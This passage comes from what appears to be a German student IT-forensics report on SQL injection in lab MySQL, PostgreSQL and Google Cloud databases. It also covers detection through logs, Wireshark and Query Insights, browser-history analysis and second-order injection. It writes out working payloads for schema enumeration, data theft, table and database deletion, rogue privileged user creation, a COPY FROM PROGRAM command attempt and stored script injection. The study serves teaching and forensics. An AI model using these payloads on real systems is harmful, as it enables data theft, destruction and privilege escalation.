Nachfolgend der Screenshot aus Adminer: 



 

 

 

Abbildung 70 PostgreSQL: Skript eingefügt 

  



 

 

4.2 MySQL 

4.2.1 Ausspähen von Daten über MySQL via HenseVM 

Das Ausspähen von Daten erfolgt über die Abfrage der Datenbank 

Mit dem Befehl UNION SELECT schema_name,0,0,0 FROM 

information_schema.schemata muss sich die Datenbanken anzuzeigen. 

 

Abbildung 71 MySQL: Anzeige der vorhandenen Datenbanken 

Dann schaut man sich die vorhandenen Datenbanken an und kann mit den Befehl: 

UNION SELECT table_schmea,table_name,0,0 FROM information_schema.tables 

WHERE table_schema = ‘Datenbanken’ 

 

Abbildung 72 MySQL: Anzeige der Datenbank “Datenbanken” 

  



 

 

Man kann sich auch mehr anzeigen lassen: 

 

Abbildung 73 MySQL: Anzeige aller Tabellen und Informationen von der Datenbank 

“Datenbanken” 

Mithilfe der Datenbankstruktur öffnen die Inhalte des gesamten DBMS, für die der 

Datenbank Benutzer Leserechte besitzt. 

 

Abbildung 74 MySQL: Auszug von Inhalt einer Tabelle 

Daraus kann man die Telefonnummer der Mitarbeiter sehen. 

Genauso kann man sich auch die E-Mail-Adressen der Mitarbeiter anzeigen. 



 

 

 

Abbildung 75 MySQL: Ausspähen der Mitarbeiter E-Mail-Adressen 

Mit den Daten der Mitarbeiter kann man auch gezielte Phishingmails erstellen und damit 

auch über andere Angriffe der Website bzw. dem dahinter liegende Unternehmen 

schaden. 

4.2.2 Veränderungen von Daten 

Über den Befehl wie schon in der Allgemeinen Datenbank angegeben wird auch in der 

eigenen Datenbank eine Datenbank namens “Good” erstellt sowie die darunter liegenden 

Tabellen sowie Tabelleneinträge  

 

Abbildung 76 MySQL: Erstellung einer Datenbank 

 

Abbildung 77 MySQL: Erstellung der darunter liegenden Tabelle 

 



 

 

 

Abbildung 78 MySQL: Tabelleneintrag 

 

Abbildung 79 MySQL: Tabelle anzeigen 

Genauso wie das Erstellen der Datenbank, Tabelle und den Daten möglich ist, so ist auch 

das Löschen der Datenbank mit den Befehl: 

1’ OR 1=1; DROP TABLE ‘Good’,’id’; DROP DATABASE ‘Good’; – 

möglich 

 

Abbildung 80 MySQL: Löschung der Datenbank 

  



 

 

4.2.3 Datenbank-Server verändern 

Da der lange Befehl für die Erstellung eine Benutzers hier nicht nochmal erwähnt wird, 

wird jedoch per Screenshot gezeigt. 

Der neue Benutzer wird den Namen “Hacker” haben: 

 

Abbildung 81 MySQL: Befehl User erstellen 

Anlegen eine neuen Benutzers namens “Hacker” mit den dazugehörigen kompletten 

Rechten wie es ein Root Benutzer auch hätte 

 

Abbildung 82 MySQL: Einloggen via Adminer mit den Benutzer “Hacker” 

Gleichzeitig wird mit den Befehl 1’; DELETE FROM ‘mysql’,’user’ WHERE ‘User’ = 

‘hacker’; FLUSH PRIVILEGES; der Benutzer hacker wieder gelöscht. 

 

Abbildung 83 MySQL: Löschen des Benutzers Hacker 

 

 

Abbildung 84 MySQL: Anmeldung über adminer funktioniert mit den Benutzernamen 

hacker nicht mehr 

  



 

 

4.2.4 Einschleusung von Veränderungen / Script 

Das Einschleusen des Scripts ist somit auch möglich, jedoch muss das über den 

Filesystemzugriff erfolgen. 

 

Abbildung 85 MySQL: Fremdcode einbringen 

 

 

Abbildung 86 MySQL: Ausführung des Script zur Erstellung einer neuen Abteilung 

 

Abbildung 87 MySQL: Erstellung der Abteilung “Presse” 

  



 

 

4.2.5 Erkennung von Veränderungen und Zugriffen auf die Datenbanksysteme 

Mit dem Zugriff über MySQL via SQL Maps kann man Datenbankveränderungen bzw. 

auch Datenbankabfrage registrieren. 

 

Abbildung 88 MySQL: Starten von SQL Maps 

Gleichzeitig gibt es bei MySQL auch die Live anzeigen via tail 

 

Abbildung 89 MySQL: MySQL-Query-Log via Livetracker (tail) 

  



 

 

Zusätzlich kann man mit Wireshark auch die Queryabfragen aufzeichnen und 

auswerten. 

 

 

Abbildung 90 MySQL: Wireshark Query-Abfrage 

 

 

Abbildung 91 MySQL: Änderung in der Datenbank für die Erstellung einer Abteilung 

4.3 PostgreSQL in der Google Cloud 

4.3.1 Aufsetzen der Anwendung und Verbindung mit dem Google Cloud SQL 

(PostgreSQL)-DBMS 

 

In der Google Cloud wurde eine neue Instanz für postgreSQL angelegt mit einer 



 

 

öffentlichen IP-Adresse. Zum Verbinden mit der Anwendung und auch pgadmin wurde 

die eigene IP-Adresse als authorisiertes Netzwerk hinterlegt. 

 

Abbildung 92 Cloud-Instanz 

Außerdem wurde in der Instanz eine neue Datenbank angelegt. 

 

Abbildung 93 neue DB erstellt 

Das Google Cloud Console Tool Query Insights wurde aktiviert. 

 

Abbildung 94 Aktivierung Query Insights 

Als Anwendung wurde eine ASP.NET MVC-Anwendung programmiert, basierend auf 



 

 

dem verlinktem Tutorial
1
, in dem beschrieben wird, wie man selbige Anwendung an eine 

SQL Server (auf aws)-Datenbankinstanz anbindet. Da bereits eine Google Cloud 

(postgreSQL) Instanz vorhanden war, wurde versucht die Anwendung auf postgreSQL 

abzuändern, indem die äquivalenten Pakete für postgreSQL anstatt SQLServer in Visual 

Studio installiert wurden und der Connection String basierend auf der offiziellen google-

Dokumentation
2
 kreiert wurde.  

Beim Versuch die Anwendung im Browser anzuzeigen, wurde eine Fehlermeldung 

angezeigt, die die Mitglieder dieser Gruppe auf Grund nicht-ausreichender 

Programmierkenntnisse leider nicht auflösen konnten: 

 

Abbildung 95 Error beim Starten der Anwendung im Browser 

Da die Verbindung des Google Cloud SQL-DBMS mit der Anwendung fehlschlug, wurde 

entschieden die Cloud-Datenbank mit pgadmin zu verbindungen und die Abfragen, die 

sonst über die Abfragemaske der Anwendung eingetragen worden wären, direkt in 

pgadmin auszuprobieren. 

 
1
 How To Connect ASP.NET Application with AWS Database https://youtu.be/isCP0fcgP9o?feature=shared 

(aufgerufen 18.02.2024) 

2
 Dokumentation zur Verbindung einer Google Cloud-Instanz 

https://cloud.google.com/sql/docs/postgres/connect-overview (aufgerufen 18.02.2024) 

https://youtu.be/isCP0fcgP9o?feature=shared
https://cloud.google.com/sql/docs/postgres/connect-overview


 

 

 

Abbildung 96 Cloud-DB in pgadmin 

Tabellen und Inhalte konnten erfolgreich über die Benutzeroberfläche von pgadmin 

angelegt werden: 

 

Abbildung 97 Daten mitarbeiter-Tabelle aus Cloud 

Um zu beweisen, dass es nicht an pgadmin, der Query etc. lag, wenn eine Query mit SQL 

Injection-Payload fehlschlug, wurde die Query zunächst nur in pgadmin ausprobiert. 

Hierzu wurden die gleichen Tabellen mit den gleichen Inhalten wie in der Cloud in 

pgadmin angelegt. 



 

 

Die Query, die in der Suchmaske der Anwendung hinterlegt worden wäre, lautet: 

SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE ‘%{search}%’ 

Diese Query wurde als Basis für die Eingabe von SQL-Payloads genommen. 

4.3.2 Beispiel 1: Sammeln relevanter Daten zur verfügbaren mitarbeiter-Tabelle 

Die mitarbeiter-Tabelle wurde vom Angreifer untersucht mit dem Ziel über diese Tabelle 

an weitere nicht-sichtbare Tabellen zu kommen, indem er zunächst versuchte die 

Datenbankversion auszulesen SELECT id, m_anrede, m_vorname, m_nachname, 

m_email_adresse, m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE 

m_nachname LIKE ''; SELECT version(); --' 

 

Abbildung 98 Ergebnis in pgadmin (ohne Cloudanbindung) 

 

Abbildung 99 Ergebnis in pgadmin (mit Cloudanbindung) 

Das Anzeigen der Version funktionierte auch in der Cloud. 

Mit SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 



 

 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter  WHERE m_nachname 

LIKE '' ORDER BY 1;--' soll herausgefunden werden, wie viele Spalten die Tabelle hat 

(z.B. um UNION-Abfragen auszuführen). 

ORDER BY 1 

 

Abbildung 100 Ergebnis in pgadmin (ohne Cloudanbindung) 

ORDER BY 8 gibt eine Fehlermeldung aus, da die Tabelle nur sieben Spalten hat. 

 

Abbildung 101 Ergebnis in pgadmin (ohne Cloudanbindung) - Error 

Ebenso funktionierte das Austesten der Spaltenanzahl mit Cloudverbindung: 

 

Abbildung 102 Ergebnis in pgadmin (mit Cloudverbindung) 

Mit der Query SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 



 

 

LIKE 'Bolz' UNION SELECT 'a', NULL, NULL, NULL, NULL, NULL, NULL;--' 

wurde untersucht, in welcher Spalte String-Werte ausgegeben werden können. Wie 

erwartet gibt die Query mit ‘a’ in der ersten Spalte einen Error aus, da es sich um die ID-

Spalte handelt. 

 

Abbildung 103 Ergebnis in pgadmin (ohne Cloudanbindung): 

Anders bei der zweiten Spalte: 

 

Abbildung 104 Ergebnis in pgadmin (ohne Cloudanbindung): 

Auch in der Cloud konnte man herausfinden in welchen Spalten String-Werte angezeigt 

werden können:  



 

 

 

Abbildung 105 Ergebnis in pgadmin (mit Cloudanbindung): 

 

Abbildung 106 Ergebnis in pgadmin (mit Cloudanbindung) 

4.3.3 Beispiel 2: Ausspähen relevanter Daten aus anderen Tabellen 

Mit SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE ''; SELECT datname FROM pg_database; --' 

wird ausgelesen, welche Datenbanken vorhanden sind. 



 

 

 

Abbildung 107 Ergebnis in pgadmin (ohne Cloudanbindung) 

 

Abbildung 108 Ergebnis in pgadmin (mit Cloudanbindung) 

Mit folgender Query SELECT id, m_anrede, m_vorname, m_nachname, 

m_email_adresse, m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE 

m_nachname LIKE '';SELECT table_name, column_name  FROM 

information_schema.columns  WHERE table_name in (SELECT tablename FROM 

pg_tables WHERE schemaname = 'public') order by 1; --' 

werden alle Tabellen und ihre Spalten ausgegeben. Der Screenshot zeigt einen 

Ausschnitt. 



 

 

 

Abbildung 109 Ergebnis in pgadmin (ohne Cloudanbindung) 

Auch in der Datenbank in der Cloud (via pgadmin) funktionierte die Abfrage: 

 

Abbildung 110 Ergebnis in pgadmin (mit Cloudanbindung) 

Mit der Query SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter  

WHERE m_nachname LIKE 'Bolz' AND 1=0 UNION SELECT id, firmenbezeichnung, 

NULL, NULL, NULL, NULL FROM geschäftskunden; --' werden Spalten der Tabelle 



 

 

geschäftskunden ausgegeben. 

 

Abbildung 111 Ergebnis in pgadmin (ohne Cloudanbindung) 

Auch aus der Cloud-Datenbank konnten die entsprechenden Daten abgerufen werden. 

 

Abbildung 112 Ergebnis in pgadmin (mit Cloudanbindung) 

4.3.4 Beispiel 3: Verändern von Daten 

Der Hacker möchte nun in die Tabelle users einen neuen Eintrag mit einer Emailadresse, 

die von ihm kontrolliert wird, hinterlegen. 



 

 

SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE 'Bolz'; INSERT INTO users (id, anrede, vorname, nachname, email_adresse, 

telefonnummer, funktion, kunden_id) VALUES ('33', 'Herr', 'Hans', 'Hecker', 

'hans.hecker@home22.com' , '02161/43342334', 'Main User', '11'); --' 

 

Abbildung 113 Ergebnis in pgadmin (ohne Cloudanbindung) 

Der User wurde in die Tabelle users angelegt. 

Der User wird mit SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE 'Bolz'; DELETE FROM users WHERE id = 33;--' 

wieder gelöscht. 

Auch in die Cloud-Datenbank wurde der neue User angelegt: 



 

 

 

Abbildung 114 Ergebnis in pgadmin (mit Cloudanbindung) 

Der User konnte auch wieder gelöscht werden. 

4.3.5 Beispiel 4: Datenbank-Server verändern 

Mit SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE ''UNION SELECT NULL, current_user, NULL, NULL, NULL, NULL, NULL;--' 

wird der aktuelle User der Datenbank angezeigt. 



 

 

 

Abbildung 115 Ergebnis in pgadmin (ohne Cloudanbindung) 

 

Abbildung 116 Ergebnis in pgadmin (mit Cloudanbindung) 

Mit SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE ''; DROP TABLE IF EXISTS tmp; CREATE TABLE tmp(filename text); COPY 

tmp FROM PROGRAM 'psql -c "CREATEUSER Angreifer WITH SUPERUSER"'; 

SELECT * FROM tmp; --' sollte ein neuer User angelegt werden.  

Dies hat nicht funktioniert, auch nicht mit eingestelltem Autocommit. 



 

 

 

Abbildung 117 Ergebnis in pgadmin (ohne Cloudanbindung)  

 

Abbildung 118 Ergebnis in pgadmin (ohne Cloudanbindung) - User wurde nicht angelegt 

Dies funktionierte nicht in der Cloud, allerdings mit anderslautender Fehlermeldung. 

 

Abbildung 119 Ergebnis in pgadmin (mit Cloudanbindung) 

Die Erklärung findet sich in der User-Übersicht. Der User Postgres hat selbst keine 

Superuserrechte und kann deshalb keinen Superuser anlegen: 



 

 

 

Abbildung 120 Ergebnis in pgadmin (mit Cloudanbindung) - Postgres kein Superuser 

4.3.6 Beispiel 5: Einschleusen von Code 

Mit SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE ''; INSERT INTO mitarbeiter VALUES (845111, '<script>window.open("https://it-

forensik.fiw.hs-wismar.de/");</script>', 'test', 'test', 'test', 'test', 'test'); --' soll ein Skript in 

die Tabelle mitarbeiter eingeschleust werden. 

Ergebnis in pgadmin (ohne Cloudanbindung): 

Das Skript wurde in die Tabelle eingefügt. 



 

 

 

Abbildung 121 Ergebnis in pgadmin (ohne Cloudanbindung) 

Das Skript konnte auch in die Cloud-Datenbank eingefügt werden: 

 

Abbildung 122 Ergebnis in pgadmin (mit Cloudanbindung) 



 

 

4.3.7 Möglichkeiten der forensischen Analyse der Cloud DB-Abfragen 

Mit der Query SELECT id, m_anrede, m_vorname, m_nachname, m_email_adresse, 

m_telefonnummer, m_berufsbezeichnung FROM mitarbeiter WHERE m_nachname 

LIKE '';SELECT pid, age(clock_timestamp(), query_start), usename, query FROM 

pg_stat_activity WHERE query != '<IDLE>' AND query NOT ILIKE 

'%pg_stat_activity%';--' 

konnten nur sehr wenige Abfragen der aktiven Session angezeigt werden, so dass sich 

diese Methode nicht für die forensische Auswertung eignet: 

 

Abbildung 123 Cloud: Queries aktive Session 

Da in der Google Cloud Console Query Insights aktiviert wurde, konnte man hier die 

Queries nachverfolgen und in welcher Datenbank sie vorgenommen wurden: 



 

 

 

Abbildung 124 Queries in Query Insights 

Aus Platzgründen sieht man auf dem Screenshot die Spalte “Zurückgegebene Zeilen” 

nicht. Hier kann man zu Analysezwecken sehen, ob überhaupt und wenn ja, welche Infos 

der Angreifer vermutlich erhalten hat.  

Bei Klick auf eine Query sieht man, dass man eine zusätzliche Funktion aktivieren kann, 

die die Client IP-Adresse anzeigen kann, von der die Query ausgeführt wurde. Aus 

Kostengründen wurde dies nicht ausprobiert. Zwecks forensischer Analyse ist diese 

Funktion sicher nützlich: 

 

Abbildung 125 Query Insights: Detailansicht Query 

Man kann die Queries auf Zeiträume filtern, allerdings sind die Zeiten der Abfrage nicht 

in der allgemeinen Benutzeroberfläche ersichtlich. Nur über den Zeitpunkt der 

Datenbanklast kann man in der Detailansicht den Zeitpunkt der Query bestimmen. 



 

 

 

Abbildung 126 Query Insights: Datenbanklast mit Zeitpunkt 

Alles in allem kann man sagen, dass Query Insights gute erste Hinweise zur forensischen 

Analyse liefern kann.  

Da pgadmin zum Testen der SQL Injection-Payloads in der Cloud-Datenbank genommen 

wurde, kann man auch auf die Logs in pgadmin zurück greifen. Diese befinden sich im 

Programme-Ordner von PostgreSQL. In welches Logfile die aktuellen Logs eingelaufen 

sind, findet man mit der Query SELECT  pg_current_logfile(); heraus. Darin findet man 

Datum und Uhrzeit der Query, die Query selbst, sowie eventuelle Fehlermeldungen. 

 

Abbildung 127 Logfile pgadmin 

 



 

 

5 SQLite-Historie im Browser 

Zunächst wurde das Programm DBeaver heruntergeladen und installiert. Außerdem 

wurde der Speicherort der Chrome-Historie gesucht. Dieser befindet sich hier:  

C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default 

Die History-Datei wurde kopiert und auf dem Desktop abgelegt, da DBeaver im 

eigentlichen Ordner nicht darauf zugreifen konnte. 

Erstellen einer neuen Datenbank-Verbindung. Hier muss beachtet werden, dass die 

SQLite-Datei auf dem eigenen PC abgelegt ist. 

 

Abbildung 128 DBeaver: neue DB-Verbindung 

 



 

 

 

Abbildung 129 DBeaver: neue DB-Verdbindung 2 

 

Abbildung 130 DBeaver: Auswahl des DBMS 

Angabe des Dateipfads. Die Datei wurde anschließend auf den Desktop kopiert, von 



 

 

dort konnte sie geöffnet werden. 

 

Abbildung 131 DBeaver: Öffnen der History-Datei 

Danach wurden alle verfügbaren Tabellen in DBeaver angezeigt. 



 

 

 

Abbildung 132 DBeaver: Tabellen in History-Datei 

Die Browsing-Historie befindet sich in der Tabelle urls: 

 

Abbildung 133 DBeaver: Browsing-Historie in Tabelle urls 

  



 

 

6 Forensik-Wiki Definition von SQL-Injektion zweiter Ordnung 

Bei einer SQL-Injection zweiter Ordnung wird der SQL-Injection-Payload nicht 

unmittelbar nach der Eingabe verarbeitet und die SQL-Abfrage ausgeführt, so wie es der 

Fall bei einer SQL-Injection erster Ordnung ist. Der Payload der ersten Eingabe des 

Angreifers wird von der Anwendung zur späteren Verwendung in der Datenbank 

gespeichert und der Angriff kommt erst nach einer zweiten (abweichende) Eingabe durch 

den Angreifer zum Tragen, indem diese dazu führt, dass die erste Eingabe aufgerufen 

wird und der injizierte Payload ausgeführt wird. Die Folgen des Angriffs können auch 

Auswirkungen in einem anderen Teil der Anwendung haben. 

Eine SQL-Injection zweiter Ordnung beeinflusst die gleichen Schutzziele, wie eine SQL-

Injection erster Ordnung:  

● Vertraulichkeit: Sichtbarmachung von vertraulichen Daten (z.B. Usernamen und 

Passwörter) 

● Integrität: Veränderung von Daten in der Datenbank  

● Verfügbarkeit: Löschung von Daten in der Datenbank 

Eine Schwachstelle für SQL-Injection zweiter Ordnung entsteht auf Grund der Tatsache, 

dass Entwickler ihre Anwendung eher dort absichern, wo die Anwendung unmittelbar 

Daten vom Benutzer empfängt, zum Beispiel durch Verdopplung einfacher 

Anführungszeichen oder durch die Verwendung parametrisierter Abfragen. Dabei wird 

oft vergessen, dass auch sicher abgelegte Daten bei einer späteren Verwendung unsicher 

sein können. 

Beispiel: 

1. In einer Anwendung wird ein neuer User angelegt mit dem Usernamen '; DROP 

TABLE Users; -- und weiteren Kontaktdaten wie Straße, Stadt etc.. Da die 

Usereingaben abgesichert sind, hat der Payload im ersten Schritt keine 

Auswirkungen auf die Query und die Datenbank. Der Username wird in der 

Datenbank abgespeichert. 

2. Angenommen der User möchte nun stadt updaten. In der Datenbank wird 

folgende Query aufgerufen SELECT * FROM users WHERE id=555. Die 



 

 

abgerufenen Daten werden im Arbeitsspeicher abgelegt. 

3. Auch wenn die neuen Usereingaben zu stadt sicher gehandhabt werden, hilft es 

nichts, da die anderen Daten des Kontakts bei UPDATE genauso verwendet 

werden, wie sie in der Datenbank gespeichert sind. Das heißt: UPDATE users 

SET name='; DROP TABLE Users; – , stadt=’Berlin’... 

4. Die Tabelle Users wird gelöscht. 

 

 

Quellen: 

Clarke, Justin. SQL Hacking. S. 445-450 

https://offensive360.com/second-order-sql-injection-attack/  

https://www.pentestpeople.com/blog-posts/second-order-sql-injection-part-3-of-the-sql-

series  
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